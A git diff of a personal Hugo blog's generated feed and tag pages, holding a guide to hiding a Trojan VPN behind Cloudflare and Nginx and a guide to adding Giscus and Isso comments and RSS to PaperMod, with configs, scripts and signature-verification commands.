    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba+znAc1rCWJuzwHe2Ih0aYsq7d
    +DMWRkpE9YTfQl/kSYpzlk96KCKv+6lHQXqcPyq+nQTDl/D7iCaOhb8Dog3W/2qN4
    +6G05f47EoiOJY+G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD+x4y4
    +UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo
    +FwGfnomCwVwd5GpaP7LQdtP/a+x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm
    +slRx0+P27gH+CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC+rZnHXPCdbsZ
    +TTiwtJ/jLLbX+NfycW9qR6gVxloO35QA90AY7050tOgAsyH+YUn+Rtj2KVj91E0o
    +VzljG7RAly7yTe+yxzC6OO+iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/
    +OrTnJ8fJqq+XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ
    +N6VbRTRfq2Vnp+A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8
    +700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM=
    +=QlNw
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md.asc
    +gpg --verify tor_clearnet_blog.md.asc tor_clearnet_blog.md
    +  
    +
    + + +]]>
    Stealth Trojan VPN Behind Cloudflare Guidehttps://blog.alipour.eu/posts/vpn/Tue, 09 Sep 2025 11:05:00 +0200https://blog.alipour.eu/posts/vpn/<h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p>Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    +
    Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321)
    +

    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    +
    trojan://<PASSWORD>@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD
    +9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l
    +jFsQFzNxcgOXKKWevuRtL5MY8RuC+PbsfG2ry2jiOtJa9H2UixVJ5E8Imj+VS47O
    +S3XAlxr85O9CEh/TFkS/TuY5P5+VPoOLn6WfdCH5W2IdkW+Vi3bZFJ46LBm6cNBh
    +Iydo+r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl
    +5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA+38RGmRNFgtR0mhMdtKNt
    +QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g
    +YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0+CD+M1kQILC
    +E8pXSfGhaG2bFCzQ+BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md
    +d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr+ql32hsQMQHZtho1nx5HEGCoCWG
    +3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y=
    +=IovZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md.asc
    +gpg --verify vpn.md.asc vpn.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/cloudflare/page/1/index.html b/public-clearnet/tags/cloudflare/page/1/index.html new file mode 100644 index 0000000..6a473a7 --- /dev/null +++ b/public-clearnet/tags/cloudflare/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/cloudflare/ + \ No newline at end of file diff --git a/public-clearnet/tags/comments/index.html b/public-clearnet/tags/comments/index.html new file mode 100644 index 0000000..d4c0dd4 --- /dev/null +++ b/public-clearnet/tags/comments/index.html @@ -0,0 +1,15 @@ +Comments | AlipourIm journeys +

    New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site. +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did. +I’ve been wanting to add comment section to my blog for a while. There are a few problems. +I don’t want to get attacked by bots or random people for no reason. I don’t want to allow weird things to happen. I don’t want to have a database for it. So… I decided to take a path which is not necesserially the best. It requires a third party to act on your behalf, but it is not as scary as it sounds. According to Github: +...

    October 23, 2025 · 15 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/comments/index.xml b/public-clearnet/tags/comments/index.xml new file mode 100644 index 0000000..f56a995 --- /dev/null +++ b/public-clearnet/tags/comments/index.xml @@ -0,0 +1,621 @@ +Comments on AlipourIm journeyshttps://blog.alipour.eu/tags/comments/Recent content in Comments on AlipourIm journeysHugo -- 0.146.0enThu, 23 Oct 2025 19:31:12 +0200New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)https://blog.alipour.eu/posts/comments-rss-papermod/Thu, 23 Oct 2025 19:31:12 +0200https://blog.alipour.eu/posts/comments-rss-papermod/A friendly, copy-pasteable guide to wiring up Giscus comments (GitHub Discussions) and Isso comments + RSS in Hugo PaperMod. +

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.
    +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.

    +
    +

    I’ve been wanting to add comment section to my blog for a while. +There are a few problems.

    +
      +
    • I don’t want to get attacked by bots or random people for no reason.
    • +
    • I don’t want to allow weird things to happen.
    • +
    • I don’t want to have a database for it.
    • +
    +

    So… I decided to take a path which is not necesserially the best. +It requires a third party to act on your behalf, but it is not as scary as it sounds. +According to Github:

    +
    +

    What the app can do +The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do.

    +
    +

    What “Act on your behalf” means +That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed.

    +
    +

    Do commenters have alternatives? +Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this.

    +
    +

    Privacy & storage +No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings.

    +

    With the notice out of the way let’s dive right in!

    +
    +

    Why I chose Giscus (instead of Disqus)

    +
      +
    • No ads or trackers (my page weight thanks me).
    • +
    • Uses GitHub Discussions (portable, transparent, easy to search).
    • +
    • Readers log in with GitHub (no mystery auth popups).
    • +
    • In theory you can directly go to the repo’s discussion section and comment there!
    • +
    +
    +

    What you need (for your site, not per user)

    +
      +
    • A Hugo site using PaperMod
    • +
    • A GitHub account ✅
    • +
    • A public repository for the discussion threads (I called mine blog-comments) with Discussions enabled ✅
    • +
    • Giscus app installed on that repo ✅
    • +
    +

    If you like to keep your main site repo clean, use a separate one, e.g. github-username/blog-comments.

    +
    +

    1) Turn on comments with Giscus

    +

    PaperMod renders a comments.html partial when params.comments = true.
    +So we enable it in config and create the partial.

    +

    1.1 Enable comments globally

    +

    hugo.toml (snippet)

    +
    [params]
    +  comments = true
    +

    You can still opt out per post with comments = false in front matter.

    +

    1.2 Create the comments partial

    +

    Create this file in your site (not inside the theme):

    +
    layouts/partials/comments.html
    +

    Paste the Giscus embed (swap the placeholders with yours from giscus.app):

    +
    <section id="comments" class="giscus">
    +  <script
    +    src="https://giscus.app/client.js"
    +    data-repo="yourname/blog-comments"
    +    data-repo-id="YOUR_REPO_ID"
    +    data-category="Comments"
    +    data-category-id="YOUR_CATEGORY_ID" <!-- Get them from Giscus's page! -->
    +    data-mapping="pathname"
    +    data-strict="0"
    +    data-reactions-enabled="1"
    +    data-emit-metadata="0"
    +    data-input-position="bottom"
    +    data-theme="preferred_color_scheme"
    +    data-lang="en"
    +    data-loading="lazy"
    +    crossorigin="anonymous"
    +    async>
    +  </script>
    +  <noscript>Enable JavaScript to view comments powered by Giscus.</noscript>
    +</section>
    +

    Notes

    +
      +
    • You’ll get repo-id and category-id from giscus.app after picking your repo + category.
    • +
    • data-mapping="pathname" works great for static sites.
    • +
    • Prefer a public repo so visitors can read discussions without friction.
    • +
    • Want a different language? Change data-lang (e.g., de, fr).
    • +
    +
    +

    2) Enable RSS (home + sections)

    +

    Hugo already knows how to generate feeds; we just tell it where.

    +

    hugo.toml

    +
    baseURL = "https://example.com/"  # set your production URL
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]     # JSON is optional (e.g., for on-site search)
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1   # -1 = no cap; or set e.g. 20
    +

    Feed URLs

    +
      +
    • Home feed: /index.xmlhttps://example.com/index.xml
    • +
    • Section feeds: /posts/index.xml, /notes/index.xml, etc. (folders are lowercase)
    • +
    +
    +

    If you’re using a .onion address or staging domain, just set that in baseURL.
    +Locally, Hugo serves feeds at http://localhost:1313/index.xml.

    +
    +

    3) Show an RSS button on the home page

    +

    PaperMod shows a nice RSS icon on section/taxonomy lists by default (when enabled), but not on the home page. Two options:

    +

    Option A — Use the home “social icons” row

    +

    This appears if you enable Home-Info or Profile mode:

    +
    [params.homeInfoParams]
    +  Title = "Hello, internet!"
    +  Content = "Notes, experiments, and occasional rabbit holes."
    +
    +[[params.socialIcons]]
    +  name = "rss"        # lowercase matters
    +  url  = "/index.xml"
    +
    +

    Create:

    +
    layouts/partials/extend_footer.html
    +

    Paste:

    +
    <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS" class="rss-link">
    +  {{ partial "svg.html" (dict "name" "rss") }}
    +  <span>RSS</span>
    +</a>
    +

    Make it a sensible size:

    +

    Create:

    +
    assets/css/extended/rss.css
    +

    Paste:

    +
    /* Small & aligned RSS icon in the footer */
    +.rss-link { display: inline-flex; align-items: center; gap: .35rem; }
    +.rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/
    +.rss-link span { font-size: .95rem; }
    +

    PaperMod auto-bundles anything under assets/css/extended/, so no extra imports needed.

    +
    +

    4) Verify everything

    +

    Build or run dev:

    +
    hugo           # outputs to ./public
    +# or
    +hugo server    # serves at http://localhost:1313
    +

    Check feeds:

    +
    # Home feed:
    +curl -s http://localhost:1313/index.xml | head
    +
    +# A section feed (adjust path to your section name):
    +curl -s http://localhost:1313/posts/index.xml | head
    +

    Check comments:

    +
      +
    1. Open any post locally.
    2. +
    3. Scroll to the bottom — Giscus should appear.
    4. +
    5. Try a reaction or comment (you’ll be prompted to sign in with GitHub).
    6. +
    +
    +

    5) Per-post controls (handy later)

    +

    Turn comments off for a single post:

    +
    # in that post’s front matter
    +comments = false
    +

    Full content in RSS (global):

    +
    [params]
    +  ShowFullTextinRSS = true
    +

    Show RSS buttons on section/taxonomy lists:

    +
    [params]
    +  ShowRssButtonInSectionTermList = true
    +

    +

    6) Troubleshooting (aka “what I bumped into”)

    +
      +
    • +

      Home page has no RSS icon
      +That’s expected; either enable Home-Info/Profile mode + socialIcons, or use the footer partial.

      +
    • +
    • +

      Section feed 404
      +Folder names are lowercase (content/posts/, not content/Posts/).
      +The URL mirrors that: /posts/index.xml.

      +
    • +
    • +

      Giscus doesn’t create a discussion
      +Double-check the four attributes: data-repo, data-repo-id, data-category, data-category-id.
      +Make sure Discussions is enabled and the Giscus app is installed for the repo.

      +
    • +
    • +

      Icon is comically large
      +Keep the CSS above; 16–20px usually looks right.

      +
    • +
    +
    +

    7) Bonus: fast setup via GitHub CLI (optional, I didn’t use it, but I should’ve perhaps)

    +
    # Create the public comments repo (adjust names)
    +gh repo create yourname/blog-comments --public -d "Blog comment threads" --confirm
    +
    +# Enable Discussions for it
    +gh repo edit yourname/blog-comments --enable-discussions
    +

    Then visit giscus.app, select the repo + category (e.g. “Comments”), and copy the generated IDs into layouts/partials/comments.html.

    +
    +

    Final config snapshot (condensed)

    +
    baseURL = "https://example.com/"
    +theme = "PaperMod"
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1
    +
    +[params]
    +  comments = true
    +  ShowRssButtonInSectionTermList = true
    +  ShowFullTextinRSS = true
    +
    +# Optional if using Home-Info/Profile mode:
    +# [[params.socialIcons]]
    +#   name = "rss"
    +#   url  = "/index.xml"
    +

    +

    Appendix — Why I added Isso, how I wired it, and what I fixed

    +

    The story (why Isso + why I still keep Giscus)

    +

    I wanted comments that:

    +
      +
    • allow anonymous replies (no GitHub account required),
    • +
    • are lightweight and self-hosted, and
    • +
    • can work on my Tor .onion mirror.
    • +
    +

    Isso checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of Giscus (comments are GitHub Discussions), so I kept both and added a little switcher UI: “Anonymous (Isso)” or “GitHub (Giscus)”.

    +

    Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus).

    +

    How I run it (high-level)

    +
      +
    • Site: Hugo + PaperMod
    • +
    • Isso: listening on 127.0.0.1:8080, stored locally (SQLite)
    • +
    • Nginx: reverse-proxies /isso/ to Isso on both the clearnet and the .onion vhost
    • +
    • Hugo partial: renders the two panels (Isso & Giscus) and a switcher; Giscus is lazy-loaded and auto-rethemed with the site theme
    • +
    +
    +

    I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the Nginx proxying and the Hugo partial.

    +

    Hugo partial: switcher + embeds

    +

    Save as layouts/partials/comments.html and include it in your single layout (e.g. layouts/_default/single.html) with {{ partial "comments.html" . }}.

    +
    <!-- comments.html -->
    +<div class="comments-switch" style="display:flex;gap:.5rem;margin:.5rem 0 1rem;">
    +  <button id="btn-isso" type="button" aria-pressed="true">Anonymous (Isso)</button>
    +  <button id="btn-giscus" type="button" aria-pressed="false">GitHub (Giscus)</button>
    +  <a href="https://github.com/AlipourIm/blog-comments/discussions/categories/comments" target="_blank" rel="noopener">Open on GitHub ↗</a>
    +</div>
    +
    +<!-- Isso panel (default) -->
    +<div id="panel-isso">
    +  <section id="isso-thread"></section>
    +  <script
    +    src="/isso/js/embed.min.js"
    +    data-isso="/isso"
    +    data-isso-css="true"
    +    data-isso-lang="en"
    +    data-isso-max-comments-nested="5"
    +    data-isso-sorting="newest"
    +    async>
    +  </script>
    +  <small class="isso-powered" style="display:block;margin:.5rem 0;color:var(--secondary,#888)">
    +    Comments powered by <a href="https://isso-comments.de" target="_blank" rel="noopener">Isso</a>
    +  </small>
    +</div>
    +
    +<!-- Giscus panel (lazy-loaded on click) -->
    +<div id="panel-giscus" style="display:none">
    +  <section id="giscus-thread"></section>
    +</div>
    +
    +<script>
    +(function () {
    +  const panelIsso = document.getElementById('panel-isso');
    +  const panelGisc = document.getElementById('panel-giscus');
    +  const issoBtn = document.getElementById('btn-isso');
    +  const giscBtn = document.getElementById('btn-giscus');
    +  let gLoaded = false;
    +
    +  function isDark() {
    +    // 1) explicit PaperMod preference
    +    const pref = localStorage.getItem('pref-theme');
    +    if (pref === 'dark')  return true;
    +    if (pref === 'light') return false;
    +
    +    // 2) page state (classes / data-theme)
    +    const H = document.documentElement, B = document.body;
    +    const hasDark =
    +      H.classList.contains('dark') || B.classList.contains('dark') ||
    +      H.dataset.theme === 'dark'    || B.dataset.theme === 'dark' ||
    +      H.classList.contains('theme-dark') || B.classList.contains('theme-dark');
    +    if (hasDark) return true;
    +
    +    // 3) OS preference
    +    return window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches;
    +  }
    +  const gTheme = () => (isDark() ? 'dark_dimmed' : 'noborder_light');
    +
    +  function loadGiscus() {
    +    if (gLoaded) return;
    +    const s = document.createElement('script');
    +    s.src = 'https://giscus.app/client.js';
    +    s.async = true;
    +    s.crossOrigin = 'anonymous';
    +    s.setAttribute('data-repo','AlipourIm/blog-comments');
    +    s.setAttribute('data-repo-id','R_kgDOQGARyA');
    +    s.setAttribute('data-category','Comments');
    +    s.setAttribute('data-category-id','DIC_kwDOQGARyM4Cw3x-');
    +    s.setAttribute('data-mapping','pathname');
    +    s.setAttribute('data-strict','0');
    +    s.setAttribute('data-reactions-enabled','1');
    +    s.setAttribute('data-emit-metadata','0');
    +    s.setAttribute('data-input-position','bottom');
    +    s.setAttribute('data-lang','en');
    +    s.setAttribute('data-theme', gTheme());  // initial theme
    +    document.getElementById('giscus-thread').appendChild(s);
    +
    +    // Retheme once iframe exists
    +    const reTheme = () => {
    +      const iframe = document.querySelector('iframe.giscus-frame');
    +      if (!iframe) return;
    +      iframe.contentWindow?.postMessage(
    +        { giscus: { setConfig: { theme: gTheme() } } },
    +        'https://giscus.app'
    +      );
    +    };
    +
    +    // PaperMod toggle button
    +    document.getElementById('theme-toggle')?.addEventListener('click', () =>
    +      setTimeout(reTheme, 0)
    +    );
    +
    +    // Also react to attribute changes
    +    const mo = new MutationObserver(reTheme);
    +    mo.observe(document.documentElement, { attributes: true, attributeFilter: ['class','data-theme'] });
    +    mo.observe(document.body,             { attributes: true, attributeFilter: ['class','data-theme'] });
    +
    +    gLoaded = true;
    +  }
    +
    +  function show(which) {
    +    const showIsso = which === 'isso';
    +    panelIsso.style.display = showIsso ? 'block' : 'none';
    +    panelGisc.style.display = showIsso ? 'none'  : 'block';
    +    issoBtn?.setAttribute('aria-pressed', showIsso);
    +    giscBtn?.setAttribute('aria-pressed', !showIsso);
    +    if (!showIsso) loadGiscus();
    +  }
    +
    +  issoBtn?.addEventListener('click', e => { e.preventDefault(); show('isso'); });
    +  giscBtn?.addEventListener('click', e => { e.preventDefault(); show('giscus'); });
    +
    +  // default
    +  show('isso');
    +})();
    +</script>
    +

    Nginx: proxy Isso on both sites (and avoid the 404-onion trap)

    +

    The bug I hit: my .onion server had a regex static block that won over the plain /isso/ location, so /isso/js/embed.min.js returned 404.

    +

    Fix: make /isso/ a ^~ prefix location so it beats regex, and place it above the static block.

    +
    # /etc/nginx/sites-enabled/onion-blog  (same idea for the clearnet vhost)
    +server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost;
    +
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +
    +    # /isso -> /isso/
    +    location = /isso { return 301 /isso/; }
    +
    +    # IMPORTANT: this must beat regex locations below
    +    location ^~ /isso/ {
    +        proxy_pass http://127.0.0.1:8080/;    # Isso container/port
    +        proxy_http_version 1.1;
    +        proxy_set_header Host $host;
    +        proxy_set_header X-Forwarded-Host $host;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +        proxy_redirect off;
    +        proxy_read_timeout 60s;
    +    }
    +
    +    # static
    +    location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Reload and smoke test:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -I http://<your-onion-host>/isso/js/embed.min.js   # expect 200
    +
    +

    If you ever point data-isso to a different origin, add CORS headers on that vhost. For same-origin (data-isso="/isso"), you don’t need CORS.

    +

    Small CSS tweaks (one color across light/dark + spacing)

    +

    I wanted the same blue for reply / edit / delete links and for Submit / Preview buttons, in both themes, and a little spacing:

    +
    /* put this in your site CSS */
    +:root { --btn-blue: #2563eb; } /* adjust to taste */
    +
    +/* Isso form buttons */
    +.isso-post-action input[type="submit"],
    +.isso-post-action input[name="preview"] {
    +  background: var(--btn-blue) !important;
    +  color: #fff !important;
    +  border: none;
    +  padding: .5rem .75rem;
    +  border-radius: .4rem;
    +  cursor: pointer;
    +}
    +
    +/* link actions under comments */
    +.isso-comment-footer a {
    +  color: var(--btn-blue) !important;
    +  margin-right: .5rem;       /* gives "edit" and "delete" some breathing room */
    +  text-decoration: none;
    +}
    +.isso-comment-footer a:hover { text-decoration: underline; }
    +
    +/* keep name/email/website stacked, slightly larger */
    +.isso-auth-section .isso-input-wrapper {
    +  display: block;
    +  margin: .35rem 0;
    +}
    +.isso-auth-section label { font-size: .95rem; }
    +.isso-auth-section input[type="text"],
    +.isso-auth-section input[type="email"],
    +.isso-auth-section input[type="url"] {
    +  width: 100%;
    +  font-size: 1rem;
    +  padding: .5rem .6rem;
    +}
    +

    What changed (the fixes I actually made)

    +
      +
    1. +

      Theme correctness for Giscus.
      +PaperMod doesn’t add .light—it only toggles .dark and stores pref-theme. I now:

      +
        +
      • read localStorage.pref-theme first,
      • +
      • fall back to class/data-theme, then
      • +
      • fall back to OS preference.
        +I also re-theme the Giscus iframe on every toggle via postMessage.
      • +
      +
    2. +
    3. +

      Isso over Tor.
      +On the .onion vhost, I moved the proxy to a ^~ /isso/ block so it beats the static regex. That fixed the 404 on /isso/js/embed.min.js.

      +
    4. +
    5. +

      UI polish.

      +
        +
      • Unified button/link color across themes,
      • +
      • ensured “edit”/“delete” aren’t touching,
      • +
      • kept the author/email/website inputs stacked, and
      • +
      • left Submit/Preview styled and grouped.
      • +
      +
    6. +
    +

    Sanity check

    +
      +
    • Toggle the theme: Giscus switches between noborder_light and dark_dimmed without reload.
    • +
    • Open DevTools → Network on onion: /isso/js/embed.min.js loads with 200.
    • +
    • Switcher buttons swap panels instantly; Giscus only loads when clicked.
    • +
    +

    8) Final notes!

    +

    I could not fully fix the style of Isso. +CSS is not easy… drat!

    +

    I don’t think anyone actually reads the blog, let alone comment on it. +But it felt cool to have a comment section and also RSS for it. +I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I’m happy with it! ^^

    +

    Admin note — Delete all Isso comments for a single post

    +

    This note is for future me: how to remove every comment tied to one post in Isso.
    +Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or .onion — because this operates directly on the database.

    +
    +

    TL;DR (host with SQLite)

    +
    +

    Replace the placeholders for DB and POST_URI first.

    +
    # 0) Variables — edit these two lines for your setup
    +DB="/var/lib/isso/comments.db"          # path to your Isso SQLite DB (check isso.conf: [general] dbpath)
    +POST_URI="/posts/skin_routine/"         # the post's URI as stored by Isso (often just the path)
    +
    +# 1) Backup (always do this!)
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +
    +# 2) Inspect: find the thread row and preview the comments
    +sqlite3 "$DB" "
    +.headers on
    +.mode column
    +SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +SELECT id, tid, created, author, text
    +FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%')
    +ORDER BY created DESC
    +LIMIT 25;
    +"
    +
    +# 3) Delete all comments for that post (thread)
    +sqlite3 "$DB" "
    +DELETE FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');
    +"
    +
    +# 4) (Optional) Remove the now-empty thread row too
    +sqlite3 "$DB" "
    +DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +VACUUM;
    +"
    +
    +# 5) Done. Isso usually picks this up automatically.
    +#    If you're containerized and want to be safe:
